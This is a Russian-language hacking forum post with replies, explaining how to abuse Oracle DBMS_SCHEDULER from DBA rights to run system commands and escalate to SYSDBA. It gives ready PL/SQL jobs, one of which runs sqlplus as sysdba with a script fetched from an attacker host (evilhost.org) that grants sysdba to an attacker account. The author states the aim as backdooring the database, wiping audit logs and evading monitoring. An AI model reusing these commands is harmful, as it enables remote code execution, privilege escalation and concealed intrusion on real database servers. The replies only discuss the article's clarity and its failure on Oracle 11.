Думал сделать сию тему частью общей статьи по oracle databse hack но пока нет времени закончить большую статьи по этому буду писать статьи небольшие и позже объединю в общий man Oracle DB hack на русском. Дошли таки руки, начнем. Мы имеем: 1. DBA (можно и более мелкие главное чтоб был доступ к java или DBMS_SCHEDULER или ALTER SYSTEM) 2. Всё написанное тестировалось на Win32 XP SP3 и Oracle XE (у меня нет лицензии на платный Oracle ак тестировать данные скрипты на рабочем сервере я не стал Тут мы будем рассматривать пример только с DBMS_SCHEDULER служба OracleJobScheduler%ORACLE_SID% должна быть запущена иначе нечего не выйдет ) Итак допустим начали мы с иньекции получили dba имеем коннект к listener (это не обязательно если кого интересует как проделать сие не имея доступа к листенеру а просто из скажем union select я объясню отдельно Имея dba права мы вполне можем исполнять команды в системе используя DBMS_SCHEDULER это просто Code: begin dbms_scheduler.create_job ( job_name =>'tstcmd', job_type =>'executable', job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', enabled => false, auto_drop => true ); commit; end; / exec dbms_scheduler.enable('tstcmd') Думаю данный скрипт не стоит расписывать всё просто просто кратко приведу job_name =>'tstcmd', --Имя задачи job_type =>'executable', --тип задачи job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', --Сама задача enabled => false, --Активна или нет auto_drop => true --стереть ли иё после выполнения ( Нам надо бы убрать хотя при желании можно задать интервал иё выполнения используя repeat_interval=> 'FREQ=SECONDLY;INTERVAL=время в секундах' То есть это так сказать Oracle Cron Ну вот а теперь представим ситуацию есть у нас dba есть возможность запускать системные команды, по дефолту команды в win32 запускаются от local_system а в *nix от пользователя oracle но по опыту скажу что даже в win32 принято после установки сразу же редактить конфиги и запускать тоже от Oracle пользователя, но нам скажем надо данную БД протроянить скажем просто надо бы удержать там права как можно дольше, имея dba это можно проделать но не столь эффективно как при sysdba если ведется аудит то проникнувший персона весьма быстро будет обнаружена вместе со своим трояном, бэкдуром называется как хотите. ну так вот для того чтоб нам очистить таблицы с логами повесить пару триггеров, процедур или скажем добавить в стандартный пакет какую нить весьма нужную функцию/процедуру которая будет выполнятся от sys нам нужны sysdba права. Меньше слов больше кода. Code: begin dbms_scheduler.create_job ( 1. job_name =>'assysdba', 2. job_type =>'executable', 3. job_action =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql', 4. enabled => false, 5. auto_drop => true ); commit; end; / exec dbms_scheduler.enable('assysdba') А теперь разберем код 1. создаем задачу с именем (может быть любым) 2. объявляем тип задачи в нашем случае executable (вариации имеются но нам они пока не нужны...) 3. Вот тут самое интересное, sqlplus по умолчанию позволяет подключатся как sysdba без логина/пароля если это происходит с локальной системы! sqlplus / as sysdba @http://evilhost.org/getsysdba.sql -- подключились к бд как sysdba дали файл на исполнение ! знак @ позволяет сразу объявлять какой sql скрипт выполнить Если указать просто @filename.sql то sqlplus будет в oracle_home и в своей bin папке искать скрипт но sqlplus умеет загружать файлы с сети... Если Бд находится на машине на которой нет доступа в нэт то можно либо на сетевую залить либо записать на диск опять же использую DBMS_SCHEDULER или java это просто думаю нет смысла разжевывать. 4. активна/неактивна 5. выполнить один раз и стереть задачу. Файл sql может быть любым но желательно включить в конец файла exit; чтоб после его выполнения sqlplus закрыл сессию. Пример : Code: grant sysdba to tsst; exit; Заключение: Имея dba можно получить sysdba это конечно связано с некоторыми "если" но как показывает практика в большинстве случаев эти "если" имеют место быть. Данной статьей я хотел показать что Oracle можно не только взломать но и гораздо больше получив sysdba устранить логирование и обойти некоторые системы аудита. Логвайпер и сам бэкдур я выкладывать не стал так как писать такое не сложно нужно просто знать, где что у oracle находится Плюс на ачате не очень популярна эта бд а кидать попросту в некуда нет смысла кому надо разберется а кто не сможет спросит P.S сорри за мой русский, язык не родной. (с) 2009 by dsu from Ukrainian Security Community
судя по всему, человек знает о чем пишет, но можно было бы и немножко попроще рассказать. лично я ничего толком не понил, но это наверное, скорее мое невежество в oracl'e
Да сорри, писал быстро на коленке одновременно тестируя всё... использовал термины к которым привык. Спасибо за совет в большой статье пожалуй буду более просто и детально всё объяснять
Нет, то есть "наматерился"? Если что-то не понимаешь спроси или прочитай офф. доки к Oracle (http://www.oracle.com/technology/documentation/index.html) а вот писать не нужные не несущие не какого смысла комментарии не стоит.
тогда по делу. [ DSU ] Пиши медленней и внятней =) т.е. тщательнее. С точками, запятыми, без опечаток типа "oracle databse hack", etc. Эта инфа никому не горит. Зато всем будет приятней оценить твои труды. Спасибо за начало. Ждем-с.
Это не начало кстати... А вот русским проблемы, язык не родной даже алфавиты разные я учил латинский в школе. А так постараюсь.
Провел тесты в 11 версии оракла как не жаль но это не пройдет, там надо по другому действовать. Статья если и будет про 11 версию то на uasc блоге.